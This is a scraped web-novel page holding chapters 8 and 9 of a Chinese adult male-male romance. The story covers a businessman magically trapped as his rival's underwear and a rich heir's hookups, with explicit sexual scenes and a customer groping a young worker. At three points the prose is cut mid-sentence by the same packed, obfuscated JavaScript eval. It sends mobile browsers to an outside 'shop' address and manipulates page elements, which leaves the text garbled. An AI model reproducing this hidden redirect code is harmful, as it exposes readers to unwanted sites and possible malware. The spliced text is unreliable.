;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773828|145710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子脑抽的嘛?” 周女士早就不吃这套:“你应该庆幸我是你亲妈,否则早就掐死你了。” 甄均:“……” “你丁阿姨家有两个孩子,心素那丫头你见过的,之前和你上同一所小学。她哥之前也在晋城读书,但毕竟大了你快九岁,加上学业繁忙,你们见不着也正常。后来他又出国留学,毕业了一直在海外管理分公司,这不,直到最近准备接手家业才回来。” “其实你们也见过面的,我在产房生你那年,你丁阿姨一家都来看望,那时青川还抱过你呢,四舍五入也算是你大表哥了。” 甄均忍不住吐槽:“四舍五入可不是您这么乱用的啊。” 周女士无所谓地道:“我不管,反正你已经二十四岁了,是时候收心学习经营管理了。看你现在的样子,我们家这些产业还真不够你霍霍的。万一哪天你真把公司搞垮了,我和你爸就是化为灰烬,也要借尸还魂把你拽到下面去,省得你在上头给老祖宗丢脸。” “我现在就把青川的联系方式推给你,记住,主动联络,多向他讨教学习,态度谦逊点,别摆谱。虽然他家现在比咱们富裕许多,但你也别自卑,我和你爸都已经接受了你智商有限的事实。” 甄均勉强笑了两声。 周女士熟练掌握拿捏自家儿子的技巧,最后不忘威胁:“马上过年了,要是唠嗑的时候被我知道你没去找人家,我就把你停在车库里的那辆跑车给贱卖了。” 甄均立刻急切地抗议:“别啊妈,我那车可是限量款的!” “我管你是限量的还是无限的,你这次如果不学到点东西,我这个妈你也别叫了,我嫌折寿。”说完,周女士挂断了电话,留给甄均的只有沉默。 甄均盯着手机屏幕,烦躁地抓了两下头发。他知道,虽然周女士容易心软,但也真干得出贱卖他那辆跑车的举动。 童年往事太过遥远,更何况是尚未形成记忆的婴儿时期,他对这位所谓的表哥真是没有半点印象,顶多记得周女士曾经在家里夸赞过,顺带甩给了他一个白眼。 两分钟后,甄均收到了推送的联系信息。对方的头像是纯粹的黑色背景,微信昵称简单明了——“青川”。 纠结过后,甄均还是点击添加了好友,申请备注只有简单的四个字:【我是你弟】 相比起这个不熟的表哥,他还是更喜欢向方哥学习。如果对方同意添加,他就直接说明自己只是为了完成任务而已,不必认真。 当然,他更希望的是对方拒绝他的好友申请,这样一来就不是他不想虚心请教了,而是他这位表哥不愿意教。 不过他的算盘很快落空。对方通过好友请求的速度异常迅速,甄均甚至还没来得及锁屏,一条新消息就已经跳出: 【裴青川:你是私生子?】 甄均气笑。看起来这人脑子也不怎么好使。 【甄均:去你妈的私生子,我是正统嫡长子。】 【甄均:我妈和你妈是铁闺蜜,她让我来找你学习企业管理。听说你刚回国,肯定很忙吧,正好我也不喜欢学这些,就不占用你宝贵时间了。如果我妈问起,就说我已经联系过你了。】 甄均以为这事就此结束,但对方又发来一条消息: 【裴青川:我凭什么要帮你扭曲事实?】 呵,爱帮不帮!真当自己是朵金花了,还需要人娇惯! 甄均直接将对方拉黑,注意力重新回到球桌上。 陪练是一名刚刚成年的小伙子,皮肤白皙,长得干净稚嫩。他察觉到甄均情绪不佳,试探性地问:“哥,还要继续打球吗?” “打啊。我花了钱的,干嘛不打。”甄均的目光不经意掠过青年纤细的腰身,“不过我发现你刚才的动作有些不规范。” 青年一听,顿时紧张起来:“啊?哪里不对?” 甄均让出位置,笑道:“你过来,我教你正确的姿势。” 青年咬了咬嘴唇,迟疑片刻,最终走上前。刚在球桌前摆好姿势,甄均炽热的身体便贴近下来,一只手覆上他的手背,另一只手拍了拍他的臀部。 “看前面,屁股再抬高点。” 8. 第 8 章 猩光晚会结束前,方霁和裴青川交换了联系方式。 万申集团,作为龙头企业,以其广泛的影响力和跨界投资的战略眼光著称,倘若真要寻找合作伙伴,裴青川无疑是一个极具吸引力的选择。 然而直至分开,方霁都没开口提及投资一事。两人就像普通朋友一样,聊了各自的兴趣爱好,约定有空出来一起玩。 投资处于风口浪尖的企业,就犹如一场赌博,考验的不只是投资人的胆识,还有那份难以捉摸的运气。 方霁从不认为自己是幸运儿,如果非要说有什么过人之处,大概便是骨子里那份桀骜不驯的傲气。假如有一天世界真的破破烂烂,那他就自己创建一个新的世界。 告别裴青川,方霁又与几位事先锁定的潜在投资者加上联系,这才从热闹非凡的晚会中抽身离去,叫了代驾送自己。 他今晚喝的其实不算多,加上这几年应酬训练出来的酒量,在沙发上休息片刻便进了浴室,出来后裹上舒适的睡衣,为自己倒了一杯暖融融的牛奶。 但不知道是不是因为晚上被贺知行气过一轮,令他忽然有些抗拒闭上双眼入睡。 事实证明,二十一世纪确实发生了科学所无法解释的事。上回从贺知行家里出来后,他还是会每晚在相同的场景重复上演相同的情节,然后被贺知行那玩意狠狠恶心一把。 他不是没想过寻求帮助,但对方十之八九会觉得他有病,叫他转道去看精神科。更重要的是,方霁自己也觉得这事匪夷所思,难以启齿。 毕竟他活了这么久,即使是看过不少千奇百怪的电视剧剧情,也从没见过成为另一个人贴身内裤的荒诞桥段。 所以在确保真有人能帮自己解决问题之前,他暂时不打算将这件事告诉任何一个人。每天晚上,他也只能强迫自己压抑内心的不适,通过心理暗示的方式来令自己好受些。 不就是面对一堆寻常的肉/体组织,搞得谁没有似的! 他就当是去了一趟猪肉店,面前悬挂着一串特大号香肠。 至于贺知行的举动……不过是人类满足生理需求的正常行为。作为一个拥有良好教养的二十一世纪新青年,他不可以滋生偏见之心,更不能歧视! 方霁这样想,听着纯音乐在床上睡着了。 - 贺知行今天和人谈下来一项合作,从猩光晚会出来后又与对方找了家餐厅吃夜宵,过了十二点才回到家。 晚会上他没怎么喝酒,但吃夜宵的时候却不一样,对方有两个人,都十分健谈,兴致高涨之下自然少不了推杯换盏的情节,贺知行不好拒绝,也跟着喝了不少。 他的私人助理开车将他送回家,等确认他进门后才离开。 酒精搅浑了大脑意识,贺知行脚下虚浮,借力楼梯扶手才勉强上到二楼卧室,然后咚的一声闷响,径直砸在了床面上。 方霁就是在这个时候穿过来的,差点没给这混账压成超薄A4纸。再好好一感受,那条巨大的身影几乎压上了他半张脸,最顶端戳在他的脑门儿。 尽管还是有些抵触,但随着时间流逝,也差不多快习惯这种奇葩的出场方式。 除了男人的气息,空气中还弥漫着酒气,方霁嗅到了,很重。 这家伙喝这么多酒干嘛?准备来个酒精中毒造福全人类? 他前阵子才在新闻上看到有人喝酒真给喝死的。 方霁没由来地想,但也只是想了一下而已,关注点很快被呼吸困难所取代。 妈的,你小子能不能翻个面,我一会屎都要给你压出来了! 要不是他现在处于附身状态,没法动弹,指定爬起来给贺知行从窗口扔下去。 或许是感应到他的怨念,贺知行下一秒竟奇迹般地翻身坐起来了。方霁身上一轻,正准备深吸几口新鲜空气,一道耀眼的白光突然闯入视线,取代了眼前的漆黑。 贺知行三下五除二解开裤子,没有过多忍耐或压制。 方霁:“……” 我就知道。 这种情况已经持续有一周多了,几乎每晚他穿到贺知行的内裤上后,都要亲眼目睹这家伙打/手/枪。 次数多了,他也懒得再叫停和愠怒了。反正无论他说什么,对方都跟聋了似的听不见。 方霁眼前近在咫尺的距离,赫然呈现的是那不可忽视的…… 男人的呼吸声很大,每一次都显得格外粗犷有力,携带着浓郁的酒香,仿佛是深夜里狂野不羁的风,让人难以忽略它的存在。 贺知行抬起左手,清晰可见的手背上青筋凸显,爆发出的力量感在视觉上造成了极大的冲击。 妈的,一个大男人手那么好看做什么。 能当饭吃? 方霁不自在地别过了眼,不去看贺知行的动作,奈何他现在和对方共处一室,距离还这么近,每一次轻微的动静,都能在他脑子里自动生成各种不可言说的黄色废料。 抛开对方总是跟他作对的事实不谈,贺知行这人尺寸非凡,脸长得不错,就是chuan起来的声音也性感十足。 他要是开卖片公司的,或许真会心动,考虑聘贺知行来出演,光凭他这张脸,估计都有不少人愿意买单。 可惜,涉黄是要罚款和坐牢的。 方霁企图通过想些无关紧要的事情来转移自己的注意力,但今天的贺知行不知道吃错了什么药,十几分钟过去,居然还没有成功,方霁都有些替他着急。 不会堵住了吧? 要换了他来,这个时长都能手酸阳/wei了。 贺知行也意识到了什么,他停下动作,稍微放松了一下酸涩的左手。 方霁瞳孔一震,内心万妈奔腾。 靠,这家伙一脱**准没好事! 贺知行换了右手,借助外力增加摩擦效果。 方霁的脸被狠狠挤压着,随着贺知行手中的动作,一张俊脸来回摩擦,逐渐扭曲,没一会就开始发疼。 踏马的,硬成这样,贺知行你是安了根钢筋在身上吗!!! 刚刚怎么就没给你憋炸!!! 两分钟后,头皮一阵发麻,贺知行手上跟着一紧。 …… 方霁只觉自己的头快要给他捏爆浆了,随后强烈的男性气息疯狂钻入鼻腔。 “去他妈的……呕……正常行为……呕……这一天天……呕……使不完的精力……呕……你混账指定……呕……是属种马的!” 方霁忍不住激起一阵干呕,话音刚落,就又呛了一大口,咳得双眼通红,眼泪都飙出来了。 贺知行突然停下动作,表情骤然变换,锐利的目光迅速掠过四周,犹如猎豹警觉异常。 他感觉自己好像隐约听到了干呕和咳嗽的声音,但无论怎么看,房间内都确实只有他一个人。 贺知行逐渐松开紧绷的掌心,将脏了的衣物置于眼前。 他今晚是喝醉了吗?不然怎么会觉得声音是从一条平角内裤上面传出来的。 真是疯了。 方霁猝不及防对上贺知行那张眉头微蹙的脸,突然生出种要被发现的恐惧来,他竭力压下咳嗽声,连呼吸都屏得死死的,做好了最坏的打算。 要是真被贺知行发现……他就跟这人同归于尽! “……” 半晌,贺知行终于将手上内裤放下,认为自己可能真是酒后幻听了,继续开始新一轮。 他这次换回了单纯用手,感觉却明显比上一次好很多。方霁正沉浸在与心理阴影的斗争之中,马上要平息下去之际,一道熟悉的名字呼唤划破了夜的寂静。 “方霁……”贺知行闭目凝神,仿佛是在梦呓。 方霁听得很清楚,霎时间,全身血液仿佛凝滞,整个人愣住了,任由思绪在现实与幻想之间穿梭。 - 一位身穿经典黑白制服的外籍人士步入甄均所在的台球室,礼貌地深鞠一躬,随后以标准英伦口音说道:"I''m sorry, sir, but we''re preparing to close up here." 甄均见有人进来,挺直身躯,手中球杆轻晃,微微点头:“砍鱼丝必克拆泥死?” 外籍男子微愕,目光转向甄均身旁的青年求助。 甄均也跟着看过去,突然明白什么,道:“于黎,他在说什么?你能听懂吗?” 青年脸上还残留着明显的红晕,闻言紧张道:“他说我们准备打烊了。” “这么早?不是还没到规定时间吗?”甄均不解。 经过一番流利对谈,外籍男子离去后,青年这才向甄均解释道:“我们老板娘刚在医院结束分娩,身体很虚弱,老板非常担忧,打算提前关店去陪着爱人,顺便给所有员工放半天假,并承诺退还顾客相应消费。” 甄均听罢,毫不迟疑道:“好事一桩,我的钱就不用退了,算作我对新生命的祝福。” 他看向青年的目光里多了几分意外:“想不到啊,你居然还会英文。那老外说得飞快,我一听就脑子发疼。” 他英语是真的不行,满分一百五只能考二三十那种,还全是蒙的选择题,这也是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773829|145710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直留在国内的原因,一听外语就生理性头疼。 青年不好意思地说:“我也就英语还可以。” 甄均不太相信:“你还在读书吧?” 青年点头:“嗯,开学准备大一。” 甄均大概猜到了。肯定是酗酒的父亲、隐忍的母亲、上学的妹妹与自力更生的他,所以就选择出来打工赚学费了。 “手机带了吗?”甄均摸出自己的手机道。 青年面露疑惑,但还是拿出手机,“带了的。” “收款码打开。” 青年起初没多想,哦了一声照做。 滴,甄均扫上二维码,给对方直接转了五千块钱过去。 青年看清手机界面上的转账消息,眼眸圆睁,震惊的声音中夹杂着恐慌:“哥……你这是?” “给你的小费。”甄均言简意赅道。 青年连忙拒绝道:“不行,这太多了,我还是退给你吧。”这金额要是去报警,都够立案的了。 甄均看出他的顾虑:“我这人向来说一不二,给出去的东西就没有再收回来的道理。这钱你拿着,等开学了就专心读书,别像我一样烂泥扶不上墙,读了多少天书就混了多久日子。要是成绩优秀,还可以争取一下奖学金,可比你现在这样出来打工划算多了。” 这家台球室是社会权贵们常来消遣的地方,来这的客人大都出手阔绰,只要你积极表现,一天下来赚个几百小费不是问题。但缺点也很明显,他们需要满足客人的各种要求,哪怕触及个人边界。 青年也是为了能够尽快赚够学费才来的这种地方,之前一直尽量避免和客人产生肢体接触。 虽然他是直男,但知道有一个群体叫做同性恋,而甄均方才的行为,无疑是带有明显性暗示的。 青年知道天下没有白吃的午餐,一咬牙,道:“哥,如果你真需要的话,我其实也可以尝试……” 他不想平白受人恩惠,只是这话说出来多少还是带着点勉强的意味。 甄均不喜欢拐弯抹角:“你想要跟我睡?” 青年一愣,没想到他会直言。 甄均走上前,伸手将青年一把拉进了怀里,搂着他的腰,故意贴着他的耳根道:“考虑清楚了吗?” 他话音刚落,就明显感受到怀里的人在颤抖,从生理到心理都在叙说着抗拒。 青年吓得连都白了,半天说不出一句完整的话来:“我、我……” 他真的要为了钱走上这条路吗? 一旦建立起关系,就不是一时半会可以轻易斩断的了。 甄均轻笑一声,将人放开,道:“算了你走吧,就当我是做一回活雷锋。你要真觉得过意不去,下次我再来的时候,给我准备些水果上来就成。” 于黎才刚成年,明显不是纯gay,他甄均就是再混账,也还没有丧心病狂到强人所难的程度,一方面没意思,另一方面这是性侵,犯法的。 何况对方一个好不容易熬过高考,即将进入大学开启自己全新的人生,他要真把人这样那样,祸害了对方一辈子,他自己的良心也过意不去。 甄均拿上自己的东西离开了,前脚刚踏出店门,后脚就接到了周女士的来电。 “喂,妈,又怎么了?”街道上的冷风穿透薄衫,吹得他打了个哆嗦。 周女士的语气中带着三分不解,三分愠怒,还有四分恨铁不成钢,质问道:“你把人家拉黑了?” 甄均一听就知道是裴青川那个狗逼跟他妈告状了,暗骂了几声后,道:“什么拉黑?我不知道啊,可能是不小心手滑点错了吧。” “臭小子,少给我装傻充愣,我看你那车是真不想要了!” 甄均叹了口气,心累道:“妈,你知道的,我根本就不喜欢什么经营管理,我喜欢赛车、攀登、旅游还有露营。” 无论多么萧瑟的秋意好似都与晋城这座繁华的都市无关,车灯连成一条发着光的河流,流淌在城市的脉络中。甄均走在路上,看见一家超市,没有过多犹豫便走了进去。 周女士正要开始心疼儿子,愧疚自己是不是真给他施加了太多压力,就紧接着听到甄均道:“再说了,一辈子那么长,又不只有工作和钱,还有偷鸡摸狗和及时行乐。” 周女士差点气得一口气没上来:“你现在就给我把青川加回来,然后约个时间,跟人家线下见一面!” “妈——这又不是相亲。”甄均从入口货架上随手拿了一盒激情旋风龙的Condom递给收银员,道:“再说了,大表哥他那么忙,指不定压根就不想见我呢。” 9. 第 9 章 直至第二天早上醒来,方霁都还陷在匪夷所思织成的云雾当中。 贺知行为什么要叫他的名字?还是在做那种事情的时候。 试想,他会在打手枪时叫着最讨厌的人的名字吗? 方霁想了想,非但不会,要是杀人不犯法,手上是把真枪,他还会一枪崩了贺知行。 难道贺知行是想通过这种方式来间接恶心他? 在亲身经历过穿成另一个男人的内裤后,说贺知行这是在进行某种玄乎的巫术,方霁都丝毫不感到意外。 万千思绪在临近的工作时间点上被打断,方霁从楼下包子店买了一份豆浆加两个肉包,草草吃完,刚停好车踏入公司大门,前台便叫住了他。 “方总,有一位自称是您朋友的先生找您,现在正在休息室等候。” “朋友?”方霁停下脚步,他在社会上摸爬滚打多年,结识的人不少,没有上百也有七八十,但大都只是浮于表面,因为利益而暂时或不得不捆绑在一起,真正称得上一声朋友的,其实一个巴掌就能数过来。 难不成是甄均? 上次通话结束后,他们微信上也始终保持着联系。甄均好像是和他发过消息,说最近要来公司找他一趟来着。 方霁微微点头,改道朝休息室走去,推开门,赫然映入眼帘的是贺知行的身影,那份震惊与复杂情绪交织,一时之间难以言喻。 “怎么又是你!?” 对方在同一时刻从沙发上站起来,对他的反应琢磨不透,道:“方总不想见到我?” 方霁承认,他确实很看不惯贺知行,两人之间的摩擦与对立似乎也是天定的剧本,无可避免。 然而他对人对事的态度始终秉持着一份理性与清醒——在职场竞技场上屡遭压制固然令他咬牙切齿,但即便情感上存在芥蒂,佩服贺知行的能力也是真的。 否则他早就报警了。 生活不可能总是一帆风顺,还有荆棘与贺知行。何况要真变得顺水顺风,又太过单调乏味。 但现在,方霁还真说不上对他是什么态度。他觉得他们这段时间里见面的次数未免太多了些,甚至有时候……不堪回首。 “也不是。”方霁摁了摁突突直跳的太阳穴,转而道:“什么事儿,你就直说了,我一会还要上班。” 贺知行走上来,手上提着一个黑色纸袋,递给方霁:“你喝醉那晚落在我家的衣服。” 方霁闻言一怔。他在酒吧喝醉那晚,是贺知行将他捡回去的,又给他脱了脏衣服,因为次日没有其他衣服可以穿,贺知行就将自己的借给了他。 要不是现在贺知行提起,他都快忘了自己还有一套衣服落在贺知行的家里。 见方霁没接,贺知行又紧跟着补充道:“已经洗干净熨好了。” 方霁知道他是误会了,轻咳了一声缓解尴尬,接过纸袋后道:“你上次借我那套衣服多少钱?我把钱转给你。” 贺知行不答反问:“你扔了?” “怎么可能!”方霁摸了摸鼻子,不再看着贺知行:“我虽然是挺爱钱的,但还没有那么败家。主要是那套衣服我已经穿过一次了,再拿回去给你也不太好,你估计也不会穿。” 与其放在贺知行家里吃灰,某天大扫除的时候跟垃圾一块扔掉,还不如他直接买下来物尽其用。 也不知道贺知行是从哪里买来的,布料穿起来意外的舒服。 贺知行却说:“我不介意。” 方霁眉心一拧,觉得今天的贺知行有种说不上来的怪异。 确切算起,从昨晚开始他就很不对劲。之前几次,方霁就没听到他喊过谁的名字。 这人就跟GPS似的,注意力只定位在手上,除了必要的呼吸,更是没张过嘴发出其他声音。 “你不介意没用,我这人精神洁癖,不能接受别人使用我的东西,哪怕是用过的。”方霁坚持转账。 贺知行也没再推脱,爽快报价:“ 796。” “七百九十六?”方霁面露错愕。 这个价格对于普通人来说或许有些小贵,但对于像贺知行这种大总裁,可谓九牛一毛。 这家伙平日里穿的衣服,光是方霁认得出的,最低也得五六千一件。 这个价格也很奇怪,按理来说商城买东西不是特别喜欢数字“9”吗?像什么“399”、“699”、“999”一类的,讨个好彩头,这796又是个什么鬼? “嗯。”贺知行并不觉得这个价格有什么不对,神色淡定地解释道:“打折的。” 呵呵,这怕不是将店长给打折了。 尽管心存疑惑,方霁还是将钱转了过去。昨晚的事情浮上脑海,没忍住提醒了一句:“那什么,你以后晚上……” 贺知行凝神等着他的下文。 “穿任何衣服前,麻烦多确认一下正反。” “……”贺知行脸色一变,怀疑自己是不是中间漏听了一段对话。 方霁也觉得自己这个话题跳跃得太突兀了,但为了他今后的安全与健康着想,他觉得这个提醒还是万分有必要的。 “他妈的,压得我一晚上没睡好,生怕你半夜……”方霁略显烦躁道,但话到一半又生生嘴刹了。 好险,差点就暴露了。 贺知行却似乎对这个话题格外在意:“什么压了你一晚上?” 还能是什么,不就是你那两坨屁股蛋子! 生怕你半夜放个屁崩老子脸上,毁了老子一世的英名! 要不是昨晚亲眼所见贺知行从浴室洗完澡出来后穿反了内裤,方霁还真有些怀疑他究竟是不是真喝醉了。简直不敢相信,原来这样一个在人前的精英人士,居然会在醉酒后露出这样的窘态。 这么一想,贺知行会在打手枪的时候突然叫出他的名字,应该也是出于脑子被酒精泡发了。 不然好端端地喊他名字,不膈应得慌吗? “没什么,辛苦贺总特意跑一趟来送衣服,但我今天实在没什么空闲时间,就不招待你了。” 贺知行听出送客的意味,也没再坚持留下自讨没趣。 从休息室出来,方霁乘坐电梯上到办公室,将纸袋和车钥匙一块放在桌面,视线掠过,又将纸袋拿了过来,取出里面的衣服。 不知道贺知行用的什么洗衣粉,上面还留有一股阳光般的暖香,很是好闻。衣服表面也展现出近乎完美的平整度,这令方霁不由得有些出神。 贺知行说已经将衣服洗干净熨好了,这些都是他做的吗? 方天坐落的位置与知谦相距不过三条街,两栋大厦相对,处在晋城最繁华的中心,就像他们此刻的关系一样,既是商业上的竞争对手,但同时也有着外人所不知的另一层微妙过往。 方霁将目光投向了办公室外,晋城的繁华景致尽收眼底,很快就否认了自己不切实际的猜想。 贺知行是含着金汤勺出生的富三代,那双签合同的手怎么会做这种琐事? 上回在贺知行家,他也自己亲口说了家中有位家政阿姨。 米那么硬,也不知道是贺知行本来就喜欢吃这种,还是家政阿姨的厨艺不太行。 要是长期吃下去,对胃的影响不好吧? 难怪刘叉要说十个总裁九个都有胃病,照贺知行这种吃法,不出毛病都是祖上烧了八辈子高香。 - “瞎说,你哥他可比你正经多了。但凡你肯好好跟他学,不出两年绝对能有不小的收获。” “现在网络上有个流行词汇叫啥来着,哦对,‘逆袭’!” “妈,你这就夸张了吧。”甄均拿上结账完毕的Condom往超市外走,“你看我读了十五年的书,该学的都学得差不多了,要真有屌丝逆袭的一天,在智力最强的学生时期就该实现了。” 周女士反应过来他这是在回怼自己之前说他智商不高,只恨不能将手伸进电话里揪住甄均的耳朵。 “我看你就是想气死我,好叫你爸给你找个新后妈。” “别啊”,甄均向来能伸能屈,尤其在面对周女士,“妈你不知道,我这辈子最庆幸的就是投了个好胎,梦里想起都能呲着个大牙乐醒的程度。” “你可是我最喜欢的女人了,除你之外没有人能让我叫一声‘妈’。” 周女士对此颇为受用,但还是哼了一声:“既然你也亲口承认我是你妈了,就老老实实听我一回话,妈还能害了你不成。” 甄均虽然嘴贫人也浑蛋,但基本的道理都懂,自然明白周女士的良苦用心。为了不叫这岌岌可危的母子关系真破裂,最后还是答应下来会和裴青川见一面。 他将对方从黑名单内放出来,大发善心地主动给裴青川发了一条道歉。 【甄均:抱歉,手滑。】 这次裴青川没有再像同意他好友申请那样迅速,甄均更是不可能抱着手机干等对方,从与裴青川的聊天框内退出来,紧接着给另外一个人发了消息。 【甄均:我来晋城了,见一面?】 对面回复得很爽快。 甄均收起手机,在附近物色了一家卫生环境还不错的酒店,开好房后给对方发去定位。 半个小时后,房间的门被人敲响,一名穿着深蓝色T恤和米白色长裤的男人走进来。 “什么时候回来的,得有大半年没过来了吧?” 甄均曾经在晋城待过一阵子,也就是那个时候认识上的方霁,当然,还有这个打炮对象。只是他们已经很长一段时间没见过面了,连线上的联络都没有。 不过打炮本来讲究的就是你情我愿、各取所需,没必要也不需要牵扯上那么多情感,爽就行了。 “就前几天。”甄均关上门,没有过多寒暄,直奔主题道:“还是老规矩,你在下面。” 男人笑了笑,“行,反正躺的次数多了,你现在再叫我做回1也心有余而力不足了。” “直接来吧,我出门之前自己处理过了。” 两人很快从门口滚到了床上。 二十分钟后,甄均上手掐红了对方的腰,眉头紧蹙写满了不满,“啧,你叫几声试试,浪一点。” 男人如言照做了,但甄均还是觉得缺少了点什么,始终无法迎来发泄,最后越做越心烦,率先停了下来。 “算了,今晚就到这。”甄均起身下床,没留给男人询问原因的机会,直接先进了浴室。 等他再出来时,屋内空无一人,男人已经先走了,在手机上给他发了消息。 【我看你今天状态好像不太对,再做下去也没意思,我就先走了。】 对方在这方面上做得非常好,真正的只是打炮,不会有过多纠缠,就算结束也很坦荡潇洒。甄均对此很满意,这也是为什么过去这么久,还会选择找他的原因之一。 但不知道今晚是怎么了,大半夜心急约人过来的是他,真正开始了又觉得不如上回得趣。 甄均回复了一个“嗯”后便扔开手机,躺倒在床面上,看到一旁拆开包装的Condom,思绪不由得回溯至上一次的夜晚。 酒吧里纸醉金迷,头顶的彩灯晃得人眼前发花。他其实没有和人乱做的癖好,就算是做,大都也会戴。 不是洁癖,单纯惜命,怕对方有病传染给他。 但上回和gay吧那个男人,他们做的很急躁,没有采取任何防护措施。 男人的身体很漂亮,不是那种干瘪瘪、毫无看头的白切鸡身材,而是介于青年与成熟之间,既干净敏感,又拥有线条流畅的肱二头肌和腹肌,像是展览上极具欣赏性美感的雕塑。 当然,最重要的还是他们在身体方面的契合度,那种极致的感受,是前所未有的,食髓知味的。 他想,就算没有那杯酒,他兴许还是会摁着对方一晚上。 甄均努力回忆了一下那天晚上。 他叫什么名字来着? 既然对方不是第一次,也没有否认他的打炮说法,那么这种事想必经常做。 甄均将记忆翻了个遍,最后腾地一下坐了起来。 是了,那个男人从始至终没有透露过名字,反倒是他,就那么先将自己的名字说了出去。 甄均扫了一眼某个箭在弦上却始终不得发射的地方,后槽牙都快咬碎了,发出咯咯的摩擦声响。 靠,这波真是亏大发了。 早知道会变成现在这样,他死也不会跟对方走。 “……” “喂,几儿,你帮我查一个人。应该是在晋城做生意,男的,丹凤眼,也是个gay。”甄均给朋友打完电话,就看到手机界面弹出一条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773830|145710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微信消息。 【裴青川:没事,小孩子脾气大很正常。】 甄均看到后半句话时气笑了。 【甄均:什么时候见一面?】 他倒要看看这人是镶了一排大金牙,还是脑门上顶颗水晶钻,能给他嚣张成这样! - 方霁在楼下小区晨跑完,回到家还没来得及换下汗湿的运动服,就接到了甄均的电话。 “方哥——”甄均拖着嗓音喊道,语气中带着几分委屈可怜。 “怎么了?”方霁侧过头,将手机夹在耳朵与肩膀之间,给自己倒了一杯水。“你又桶了什么篓子?” 他丝毫不怀疑甄均闯祸的速度,以往也没少帮他摆平和去局子里捞人。 不过倒不是说甄均是个蛮横、爱惹是生非的人,大多数时候,是别人碰瓷他,他懒得和人争执就报了警,双方一块进了警局喝茶。 方霁想,甄均之所以老是碰上这种事情,估计是看他穿得跟个学生似的,人傻钱多好欺负。 说起来两人第一次见面时,甄均也是在被人欺负。他那副长相,不张嘴说话时,往那一站,确实挺单纯的,一副涉世不深的样子。 不过也好在甄均不是个愿意吃亏的性格,还会自己报警或者摇他过去帮忙,否则就这被坑的次数,都够他掏空家底的了。 “好哥哥,我就不能是单纯想你了才打的电话吗?” 认识这么久,方霁哪里还不了解他,喝完水杯里的水,道:“今后这种骚扰电话就不必打给我了,我见一次挂一次。” 说着真将手机拿下来准备挂断。 “等一下!”甄均这才收起那副散漫状态,“我说还不成嘛。” 方霁嗯了一声,到客厅沙发上坐下,等着他继续往下说。 “这回还真不是喊你帮忙,是想问你最近有没有空,约你一块去爬山。” “爬山?”每个人都有自己的爱好和娱乐方式,这并不奇怪,但甄均大早上专程打电话过来就为了约他爬山,这倒是令方霁有些疑惑不解。 “你要是嫌活得久了想跳崖自尽请自便,别拉着我就行,我不想死,更不想背上个嫌疑人的头衔。” 电话那头的甄均噎了片刻。他知道方霁这人大多数时候吃软不吃硬,只得老实交代了自己最近因为欲求不满,想换个途径发泄精力。 方霁听完倒是没有露出什么震惊或厌恶。男人嘛,有时候精虫上脑,精力丰沛很正常,更别说甄均还处在血气方刚的年纪。 他自己也是过来人。 “好哥哥,你就陪人家去吧,难道你就真狠心看我憋死在家里吗?” 方霁答得很快:“狠心,反正死的又不是我。” 甄均假装抹了抹眼泪:“那我真可怜,爹不疼妈不爱的,像个被全世界抛弃的孤儿,独自在外漂泊,人生地不熟,辛苦拼搏数十年,好不容易遇上个知心哥哥,还巴不得我马上死。” 方霁都快听乐了:“不好意思,我硬的不吃,软的更不吃。” 甄均:“……” 他怀疑他哥是在搞颜色,但他没有录音。 “真没有一点同意的余地?”甄均叹了口气。 方霁也不是那么铁石心肠的人,见逗得差不多,终于松口:“收起你那副死夹子音,这事兴许还有得商量。” 因为工作繁忙的原因,方霁这些年其实没什么时间进行娱乐休闲活动,顶多晨跑一下,还得到周末。 - 晋城是喀斯特地貌,当地的山不少,但要找到一座能够满足刺激与挑战性的高山却并不容易。 方霁给刘叉发去消息,问有没有适合爬山的地方推荐,对方很仔细地罗列了三个好去处。方霁直接将消息截屏发给了甄均,让他挑选。 两人第二天便带着装备驱车前往隔壁市。 山很高,到山顶最快也要六个小时。爬到中途,甄均突然想起很久之前方霁同自己说过的事,没忍住问:“对了方哥,你和你那个大学室友最近怎么样了?我不在晋城的这段时间他有没有继续给你使绊子?” 这事其实怪方霁自己说漏了嘴,前年跟甄均约出来吃夜宵,多喝了些酒,心事就跟泄洪似的往外流,一会说自己大学时期与贺知行的关系有多么铁,一会又将贺知行骂了个狗血淋头,前言不着后语。 甄均虽然听得艰难,但也大致拼凑出了事情的经过。 “也就那样吧。”方霁对此答得很含糊,甚至还有些心虚。 虽然贺知行确实不爱干人事,但他也不怎么喜欢将与对方的纠纷放到明面上来评头论足。 甄均一听就知道方霁不愿意聊起这事,迅速换了别的话题。 当年方霁虽然同他吐槽了那位大学室友好一通,但字里行间却没有透露过对方的姓名,就连他开口询问,方霁也没有回答,只以“混账”代称。 